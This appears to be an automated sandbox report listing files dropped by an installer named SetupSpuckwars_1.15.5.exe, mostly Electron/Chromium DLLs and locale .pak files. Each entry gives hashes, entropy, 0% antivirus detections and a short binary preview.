                                                                                                                  SHA-512:F7C65BAE4EDE13616330AE46A197EBAD106920DCE6A31FD5A658DA29ED1473234CA9E2B39CC9833FF903FB6B52FF19E39E6397FAC02F005823ED366CA7A34F62
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........c...c...c..Z....c...c../c....7..c.......c.......c..Z....c..Z...bc..Z....c..Z....c..Z...6c..Z.[..c..Z....c..Rich.c..................PE..d...-L............" ......8.........`.(...................................... K.....2.J...`A..........................................F.x.....F.P.....J.@.....H.......J..!....J......vD.p.....................<.(...P.<.8.............<.(............................text.....8.......8................. ..`.rdata...=....8..@....8.............@..@.data...@.....F.......F.............@....pdata........H.......G.............@..@.rsrc...@.....J.......I.............@..@.reloc........J.......I.............@..B........................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\ffmpeg.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):2862080
                                                                                                                  Entropy (8bit):6.7042588011125215
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:49152:XMoI7Qj3trgDtcfkW76fSL5Yqq6uthy4Y6NO8PyJegPTagrcjdiCOi2iNN3lzl3U:H3Kk76fUq/4TagreBOirnW
                                                                                                                  MD5:D49E7A8F096AD4722BD0F6963E0EFC08
                                                                                                                  SHA1:6835F12391023C0C7E3C8CC37B0496E3A93A5985
                                                                                                                  SHA-256:F11576BF7FFBC3669D1A5364378F35A1ED0811B7831528B6C4C55B0CDC7DC014
                                                                                                                  SHA-512:CA50C28D6AAC75F749ED62EEC8ACBB53317F6BDCEF8794759AF3FAD861446DE5B7FA31622CE67A347949ABB1098ECCB32689B4F1C54458A125BC46574AD51575
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......".........`.........................................B...........`A..........................................).......).(.............@.x.............A..2..D.).....................(.).(...."#.8.............).P............................text....."......."................. ..`.rdata...t....#..v....".............@..@.data...X.....*.."...n*.............@....pdata..x.....@.......*.............@..@.00cfg..(....@A......B+.............@..@.gxfg....+...PA..,...D+.............@..@.retplne\.....A......p+..................tls..........A......r+.............@....voltbl.8.....A......t+................._RDATA........A......v+.............@..@.reloc...2....A..4...x+.............@..B................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\icudtl.dat

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):10541296
                                                                                                                  Entropy (8bit):6.277012685259397
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:98304:ffPBQYOo+ddlymff2LfPQCvliXUxiG9Ha93Whla6ZENSs285:ffPBhORjfAHliXUxiG9Ha93Whla6ZEV7
                                                                                                                  MD5:ADFD2A259608207F256AEADB48635645
                                                                                                                  SHA1:300BB0AE3D6B6514FB144788643D260B602AC6A4
                                                                                                                  SHA-256:7C8C7B05D70145120B45CCB64BF75BEE3C63FF213E3E64D092D500A96AFB8050
                                                                                                                  SHA-512:8397E74C7A85B0A2987CAE9F2C66CE446923AA4140686D91A1E92B701E16B73A6CE459540E718858607ECB12659BEDAC0AA95C2713C811A2BC2D402691FF29DC
                                                                                                                  Malicious:false
                                                                                                                  Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libEGL.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):479232
                                                                                                                  Entropy (8bit):6.320849747462847
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:su0LAjbIkyVVR8O9v/6TiT5eU3axzvYwo:sub49/6TiQzvYX
                                                                                                                  MD5:09134E6B407083BAAEDF9A8C0BCE68F2
                                                                                                                  SHA1:8847344CCEEAB35C1CDF8637AF9BD59671B4E97D
                                                                                                                  SHA-256:D2107BA0F4E28E35B22837C3982E53784D15348795B399AD6292D0F727986577
                                                                                                                  SHA-512:6FF3ADCB8BE48D0B505A3C44E6550D30A8FEAF4AA108982A7992ED1820C06F49E0AD48D9BD92685FB82783DFD643629BD1FE4073300B61346B63320CBDB051BA
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ................p.....................................................`A........................................x.......e-..(.......x........B..............$...4...........................(...@1..8............0...............................text...E........................... ..`.rdata..,....0......................@..@.data....K....... ..................@....pdata...B.......D..................@..@.00cfg..(....`......................@..@.gxfg...0$...p...&..................@..@.retplne\............4...................tls....!............6..............@....voltbl.8............8.................._RDATA...............:..............@..@.rsrc...x............<..............@..@.reloc..$............B..............@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libGLESv2.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):7514112
                                                                                                                  Entropy (8bit):6.462467169487978
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:98304:BuT3g23jeZ/02YPuLaw5RoD1rfEQ3CPdOEabcgsOMdi:BuDPTwLap14QzEijsvi
                                                                                                                  MD5:A5F1921E6DCDE9EAF42E2CCC82B3D353
                                                                                                                  SHA1:1F6F4DF99AE475ACEC4A7D3910BADB26C15919D1
                                                                                                                  SHA-256:50C4DC73D69B6C0189EAB56D27470EE15F99BBBC12BFD87EBE9963A7F9BA404E
                                                                                                                  SHA-512:0C24AE7D75404ADF8682868D0EBF05F02BBF603F7DDD177CF2AF5726802D0A5AFCF539DC5D68E10DAB3FCFBA58903871C9C81054560CF08799AF1CC88F33C702
                                                                                                                  Malicious:false
                                                                                                                  Antivirus:
                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                  • Antivirus: Virustotal, Detection: 0%, Browse
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........." ......X..........L.......................................s...........`A..........................................j.....N.j.d.....r.......o.PJ............r.....$.i.......................i.(.....X.8...........P.k.......j.@....................text.....X.......X................. ..`.rdata........X.......X.............@..@.data.........k..|....k.............@....pdata..PJ....o..L...No.............@..@.00cfg..(....0r.......q.............@..@.gxfg...p*...@r..,....q.............@..@.retplne\....pr.......q..................tls....:.....r.......q.............@....voltbl.D.....r.......q................._RDATA........r.......q.............@..@.rsrc.........r.......q.............@..@.reloc........r.......q.............@..B........................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\af.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):362355
                                                                                                                  Entropy (8bit):5.4138809970208035
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:j54QCpN9/WiHIR9a5D4+kQMGSB+jC6kAw1TUKKpg3b9xIsVxSt2y5qP3ux5tPwDV:F9CpN9OiHIRX+HMT+jC6kAw1TYpg3b9P
                                                                                                                  MD5:464E5EEABA5EFF8BC93995BA2CB2D73F
                                                                                                                  SHA1:3B216E0C5246C874AD0AD7D3E1636384DAD2255D
                                                                                                                  SHA-256:0AD547BB1DC57907ADEB02E1BE3017CCE78F6E60B8B39395FE0E8B62285797A1
                                                                                                                  SHA-512:726D6C41A9DBF1F5F2EFF5B503AB68D879B088B801832C13FBA7EB853302B16118CACDA4748A4144AF0F396074449245A42B2FE240429B1AFCB7197FA0CB6D41
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........].h.(...i.0...j.<...k.K...l.V...n.^...o.c...p.p...r.v...s.....t.....v.....w.....y.....z.....|.....}................................................................... .....M.....Z.....i.....z...........................................................!.....4.....T.....[.....k.....{...........................................................$.....4.....B.....x.............................................................................2.....K.....g.....u.....}........................................................... .....0.....L.....a.......................................................................9.....N.....g.....n.....q.....r.....~.........................................D.....L.......................................................................'.....<.....^.....q................................................... .....".....%.D...(.`...*.....+.....,.........../.....0.....1.....3.....4.+...5.F...6.....7.....8.....9.....<.....=.....>.....?.....@.....A.8...C.`...D.g.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\am.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):583572
                                                                                                                  Entropy (8bit):4.947180410657857
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:QqhqEuPxT8xZTtWosuF9Q5m9yAAVzfukCQox30jH8+I:Zh8T8xTWoZF9Q5m9yAAVzXCQ0
                                                                                                                  MD5:2C933F084D960F8094E24BEE73FA826C
                                                                                                                  SHA1:91DFDDC2CFF764275872149D454A8397A1A20AB1
                                                                                                                  SHA-256:FA1E44215BD5ACC7342C431A3B1FDDB6E8B6B02220B4599167F7D77A29F54450
                                                                                                                  SHA-512:3C9ECFB0407DE2AA6585F4865AD54EEB2EC6519C9D346E2D33ED0E30BE6CC3EBFED676A08637D42C2CA8FA6CFEFB4091FEB0C922FF71F09A2B89CDD488789774
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........Q.h.@...i.K...j.W...k.f...l.q...n.y...o.~...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................&.....-.....4.....5.....6.....;.....g........................................./.....7.....|...............................................A.....a.....q............................./.....R.....d.....m.............................4.....@.....O.....e...............................................I.....{............................................... .....3.....h.....w.............................:.....R.............................).....H.....n.....q.......................'.....G.....p.....w.....z.....{.........................................l.................".....B....._.....................................................;.....c.................).....u....................................... .....".0...%.f...(.....*.....+.....,.........../.....0.1...1.....3.....4.....5.....6.{...7.....8.....9.....;.....<.....=.5...>.o...?.y...@.....A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ar.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):639744
                                                                                                                  Entropy (8bit):4.950537001099058
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:K+sgtqIj5/XvYUtOkQIkqBJ5SNbW+eTtvZEMgSENjM:KD4Fek75z+K
                                                                                                                  MD5:FDBAD4C84AC66EE78A5C8DD16D259C43
                                                                                                                  SHA1:3CE3CD751BB947B19D004BD6916B67E8DB5017AC
                                                                                                                  SHA-256:A62B848A002474A8EA37891E148CBAF4AF09BDBA7DAFEBDC0770C9A9651F7E3B
                                                                                                                  SHA-512:376519C5C2E42D21ACEDB1EF47184691A2F286332451D5B8D6AAC45713861F07C852FB93BD9470FF5EE017D6004ABA097020580F1BA253A5295AC1851F281E13
                                                                                                                  Malicious:false
                                                                                                                  Preview:........~.z.h.....i.....j.....k.....l.....n.'...o.,...p.9...r.?...s.P...t.Y...v.n...w.{...y.....z.....|.....}...................................................................).....B....._.........................................-....._.....b.....f.........................................0.....G...................................................../.....O...............................................-.....7.....g.............................5.....`...............................................K.....[.....r.............................a.........................................".....=.....\.....w.................................................................V.......................o.............................<.....Y.....i.....q.....}.......................<.....^.........................................<.....M... ._...".|...%.....(.....*.M...+.P...,.n........./.....0.....1.....3.....4.=...5.d...6.....7.....8.....9.6...;.Q...<.r...=.....>.....?.....@.....A.....C.....D.....E.Y...F...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\bg.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):667826
                                                                                                                  Entropy (8bit):4.715111408941832
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:MMq8w2kMLlYrdAs1aQUx41aVVwslMLOmFOMw35uKN31tfbDMxbV2Jfu64Kjz5fS+:MMqckulYrdAs1aQUmBsmRw35uK7Jgxho
                                                                                                                  MD5:38BCABB6A0072B3A5F8B86B693EB545D
                                                                                                                  SHA1:D36C8549FE0F69D05FFDAFFA427D3DDF68DD6D89
                                                                                                                  SHA-256:898621731AC3471A41F8B3A7BF52E7F776E8928652B37154BC7C1299F1FD92E1
                                                                                                                  SHA-512:002ADBDC17B6013BECC4909DAF2FEBB74CE88733C78E968938B792A52C9C5A62834617F606E4CB3774AE2DAD9758D2B8678D7764BB6DCFE468881F1107DB13EF
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........S.h.<...i.D...j.P...k._...l.j...n.r...o.w...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................&.....-.........../.....4.........................................:.....F.....P.........................................Q.....]...................................,.....V.........................................7...................................9.....?.....M.....a.......................9.....i.........................................(.....N.....x.......................=.....X.....n.......................Z.....s...................................8.....h.......................+.....2.....5.....6.....J.....`.....|.................(...........B.....N.................>...................................,.....6.....j.................7.....s.................?.....Q.....g..................... .....".....%.U...(.....*.....+.....,....... .../.N...0.W...1.....3.....4.....5.N...6.....7.....8.....9.@...;.m...<.....=.....>.....?.....@.....A.D...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\bn.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):858553
                                                                                                                  Entropy (8bit):4.32277927640417
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:6gGTLRFbMdhBVHvr5eSnC6PRWhk7Bbd8+D95H0XluZ:YWBlvr5FCYRWuBbdB5wl2
                                                                                                                  MD5:9340520696E7CB3C2495A78893E50ADD
                                                                                                                  SHA1:EED5AEEF46131E4C70CD578177C527B656D08586
                                                                                                                  SHA-256:1EA245646A4B4386606F03C8A3916A3607E2ADBBC88F000976BE36DB410A1E39
                                                                                                                  SHA-512:62507685D5542CFCD394080917B3A92CA197112FEEA9C2DDC1DFC77382A174C7DDF758D85AF66CD322692215CB0402865B2A2B212694A36DA6B592028CAAFCDF
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........].h.(...i.9...j.E...k.T...l._...n.g...o.m...p.z...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................!.....(.....).....*...../.......................9.....K.....g.............................R.....T.....X.......................&.....[.............................E.....x.......................-.....O.....}.................e.....t.........................................5.....q.................2.....r.........................................-.....I.......................x...............................................@.....r.............................5.....c...............................................6.....M.....n.................1.....I.......................f.........................................@.................i...............................................J.....h... .}...".....%.....(.P...*.....,.........../.....0.....1.....3.....4.....5.^...6.....7.....8.u...9.....;.....<.....=.....>.R...?.e...@.....A.....C.c...D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ca.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):409695
                                                                                                                  Entropy (8bit):5.417085582145732
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:bgoRVrijIs3cejEYBCqS4o3nbhjJSwHQliEwfwVEMXdLbpuQ16BtryBiGIle3nei:b3GQUwJAMNTCypxB5WMml
                                                                                                                  MD5:4CD6B3A91669DDCFCC9EEF9B679AB65C
                                                                                                                  SHA1:43C41CB00067DE68D24F72E0F5C77D3B50B71F83
                                                                                                                  SHA-256:56EFFF228EE3E112357D6121B2256A2C3ACD718769C89413DE82C9D4305459C6
                                                                                                                  SHA-512:699BE9962D8AAE241ABD1D1F35CD8468FFBD6157BCD6BDF2C599D902768351B247BAAD6145B9826D87271FD4A19744EB11BF7065DB7FEFB01D66D2F1F39015A9
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........R.h.>...i.F...j.R...k.a...l.l...n.t...o.y...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................!.....(...../.....0.....1.....3.....\.....v...............................................&.....D.....F.....J.....r.....................................................%.....5.....S.....n.....q.....{.........................................%.....5.....8.....;.....D.....X.....n.....................................................#.....5.....D.....U.....k.....r...................................'.....H.....Q.....b.....u.....................................................).....0.....3.....4.....=.....F.....N.....T.....f.................,.....4.....o.........................................$...../.....4.....J.....t.............................%.....>.....C.....M.....^.....z......... .....".....%.....(.....*.....+.....,.&.....P.../.m...0.r...1.....3.....4.....5.....6.1...7.B...8.V...9.h...;.v...<.....=.....>.....?.....@.....A.....C.....D.&...E.Z.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\cs.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):419829
                                                                                                                  Entropy (8bit):5.845882900283008
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:RquUIAMYOnQYeAIV4g558YwGKNDsku8Qy:Rq/IA5On504g558YwbNDsC
                                                                                                                  MD5:EEEE212072EA6589660C9EB216855318
                                                                                                                  SHA1:D50F9E6CA528725CED8AC186072174B99B48EA05
                                                                                                                  SHA-256:DE92F14480770401E39E22DCF3DD36DE5AD3ED22E44584C31C37CD99E71C4A43
                                                                                                                  SHA-512:EA068186A2E611FB98B9580F2C5BA6FD1F31B532E021EF9669E068150C27DEEE3D60FD9FF7567B9EB5D0F98926B24DEFABC9B64675B49E02A6F10E71BB714AC8
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........s.h.....i.....j.....k.....l.*...n.2...o.7...p.D...r.J...s.[...t.d...v.y...w.....y.....z.....|.....}.........................................................................+.....;.....M....._.....h.....u...............................................G.....].....{.....................................................1.....@.....F.....M.....^.....p.................................................................0.....E.....[.....t.................................................................+.....6.....H.........................................".....(.....4.....@.....P.....u.....x.........................................................................................].......................A.....^.....z...............................................!.....G.....b.............................,.....3.....=.....J.....g.....q... .y...".....%.....(.....*.....+.....,.......(.../.?...0.I...1.....3.....4.....5.....6.....7. ...8.6...9.L...<.^...=.h...>.}...?.....@.....A.....C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\da.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):380107
                                                                                                                  Entropy (8bit):5.46366244634788
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:czP4qlrn8+ua0swlGVJJwoXlw5CvET5VTrBGzO7iJyd4tTWwT:dqlr89JklwH55rETL
                                                                                                                  MD5:E7BA94C827C2B04E925A76CB5BDD262C
                                                                                                                  SHA1:ABBA6C7FCEC8B6C396A6374331993C8502C80F91
                                                                                                                  SHA-256:D8DA7AB28992C8299484BC116641E19B448C20ADF6A8B187383E2DBA5CD29A0B
                                                                                                                  SHA-512:1F44FCE789CF41FD62F4D387B7B8C9D80F1E391EDD2C8C901714DD0A6E3AF32266E9D3C915C15AD47C95ECE4C7D627AA7339F33EEA838D1AF9901E48EDB0187E
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........H.h.R...i.c...j.o...k.~...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....y...........................................................+.....-.....1.....Y.....n.................................................................-.....3.....;.....K.....o.......................................................................,.....C.....Y.....s.............................................................................?.....H.....i................................................................. .....+.....?.....Q.....e.....l.....o.....p.....w.........................................S.....W.................................................................".....?.....V...............................................".....5.....?... .C...".K...%.f...(.....*.....+.....,.........../.....0.....1.9...3.E...4._...5.w...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.(...A._...C.|...D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\de.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):406584
                                                                                                                  Entropy (8bit):5.519300999448185
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:V3JEmQ1hqVK+6aU8WUmzg3ELWzhqY305QgfXlIsCJd:V5t6sKXaK/LWy5POsCJd
                                                                                                                  MD5:CF22EC11A33BE744A61F7DE1A1E4514F
                                                                                                                  SHA1:73E84848C6D9F1A2ABE62020EB8C6797E4C49B36
                                                                                                                  SHA-256:7CC213E2C9A2D2E2E463083DD030B86DA6BBA545D5CEE4C04DF8F80F9A01A641
                                                                                                                  SHA-512:C10C8446E3041D7C0195DA184A53CFBD58288C06EAF8885546D2D188B59667C270D647FA7259F5CE140EC6400031A7FC060D0F2348AB627485E2207569154495
                                                                                                                  Malicious:false
                                                                                                                  Preview:........S...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.+...y.1...z.@...|.F...}.X.....`.....e.....m.....u.....}............................................................................./.....7.....@.....f.....|.....~.....................................................%.....M.....a.....o...............................................8.....L.....S.....^.....v.....................................................6....._.......................................................................7.....H.....a.....r...............................................".....5.....K....._.....x.................................................................?.............................#.....M.....x...........................................................(.....F.....j............................................. .....".....%.1...(.N...*.q...+.t...,.........../.....0.....1.....3.....4.....5.7...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.....A.>...C.]...D.g.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\el.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):729549
                                                                                                                  Entropy (8bit):4.799528683257041
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:AQbueXYquNw2202pgtZBAujt4NIbsJvaP5A3HRsgQiEYQ3C1gf2ns4CfFnx1Xu2v:B2quNw2202pgtHAujmNrJvaRA3HRsDik
                                                                                                                  MD5:E66A75680F21CE281995F37099045714
                                                                                                                  SHA1:D553E80658EE1EEA5B0912DB1ECC4E27B0ED4790
                                                                                                                  SHA-256:21D1D273124648A435674C7877A98110D997CF6992469C431FE502BBCC02641F
                                                                                                                  SHA-512:D3757529DD85EF7989D9D4CECF3F7D87C9EB4BEDA965D8E2C87EE23B8BAAEC3FDFF41FD53BA839215A37404B17B8FE2586B123557F09D201B13C7736C736B096
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........U.h.8...i.@...j.J...k.Y...l.d...n.l...o.q...p.~...r.....s.....t.....v.....w.....y.....z.....|.....}........................................... .....'.....(.....).....+.............................&.....O.....~.........................................9.....g.............................1.....H.............................<.....T.....b......................./.....h.....p.........................................+.....].......................t.................................../.....T.....m.......................:.....].....n.................>.........................................".....E.....h.............................#.....&.....'.....C.....].....o.................4...........X.....h...........>.....x.................7.....P.....d.....w......................./.....................................................V.....k... .~...".....%.....(.....*.s...+.v...,.........../.....0.3...1.....3.....4.!...5._...6.....7.....8.=...9.\...;.....<.....=.....>.....?.....@.>...A.~...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\en-GB.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):331921
                                                                                                                  Entropy (8bit):5.529632303060999
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:k6QL0f35ubiwMP9egutWbfaYX2YBB5HXSdBruC:6LduwMetW92M53SuC
                                                                                                                  MD5:825ED4C70C942939FFB94E77A4593903
                                                                                                                  SHA1:7A3FAEE9BF4C915B0F116CB90CEC961DDA770468
                                                                                                                  SHA-256:E11E8DB78AE12F8D735632BA9FD078EC66C83529CB1FD86A31AB401F6F833C16
                                                                                                                  SHA-512:41325BEC22AF2E5EF8E9B26C48F2DFC95763A249CCB00E608B7096EC6236AB9A955DE7E2340FD9379D09AC2234AEE69AED2A24FE49382FFD48742D72A929C56A
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.....i.....j.....k.....l.....n.....o.#...p.0...r.6...s.G...t.P...v.e...w.r...y.x...z.....|.....}.....................................................................................$.....4.....;.....D.....[.....c.....m.......................................................................&.....A.....S.....b.....|.......................................................................(.....,...../.....5.....E.....T.....b.....{.............................................................................$.....S.....].....i.................................................................0.....@.....P.....e.....z.............................................................................A.....H.....x.............................................................................@.....U.....l............................................. .....".....%.....(.....*.6...+.9...,.W.....h.../.v...0.....1.....3.....4.....5.....6.....7.....8.C...9.P...;.a...<.i...=.t...>.....?.....@.....A...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\en-US.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):334693
                                                                                                                  Entropy (8bit):5.521172766448584
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:Mvneu710gxhmrunGeuMP9eczCPMfaYbg3In5N+Sqn8BcwS:Ml0gxvNuMbCPmgA5YSNcwS
                                                                                                                  MD5:19D18F8181A4201D542C7195B1E9FF81
                                                                                                                  SHA1:7DEBD3CF27BBE200C6A90B34ADACB7394CB5929C
                                                                                                                  SHA-256:1D20E626444759C2B72AA6E998F14A032408D2B32F957C12EC3ABD52831338FB
                                                                                                                  SHA-512:AF07E1B08BBF2DD032A5A51A88EE2923650955873753629A086CAD3B1600CE66CA7F9ED31B8CA901C126C10216877B24E123144BB0048F2A1E7757719AAE73F2
                                                                                                                  Malicious:false
                                                                                                                  Preview:........&...h.>...i.F...j.R...k.a...l.l...n.t...o.y...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................!.....(...../.....0.....1.....6.....^.....k.....z................................................................. .....0.....G.....K.....V.....f.....m.....y.................................................................C.....V.....Z.....b.....n.....{.............................................................................$.....+.....1.....:.....E.....b.....i.....x.........................................3.....<.....E.....O.....].....p.....s...............................................................................................@.....m...........................................................%.....*...........>.....X.....q.....................................................&......... .2...".;...%.[...(.r...*.....+.....,.........../.....0.....1.....3.....4.)...5.@...6.r...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.!.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\es-419.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):404903
                                                                                                                  Entropy (8bit):5.392122812912978
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:75rkwZKG5KJo0ZyFPK9zj4rMY4rjyujd8pyPWncpwwfNEOv553l50GLFddhRIHKj:t1K2YZIK9BYgapFGl5dLFddA7Fcp
                                                                                                                  MD5:7DA3E8AA47BA35D014E1D2A32982A5BB
                                                                                                                  SHA1:8E35320B16305AD9F16CB0F4C881A89818CD75BB
                                                                                                                  SHA-256:7F85673CF80D1E80ACFC94FB7568A8C63DE79A13A1BB6B9D825B7E9F338EF17C
                                                                                                                  SHA-512:1FCA90888EB067972BCCF74DD5D09BB3FCE2CEB153589495088D5056ED4BDEDE15D54318AF013C2460F0E8B5B1A5C6484ADF0ED84F4B0B3C93130B086DA5C3BF
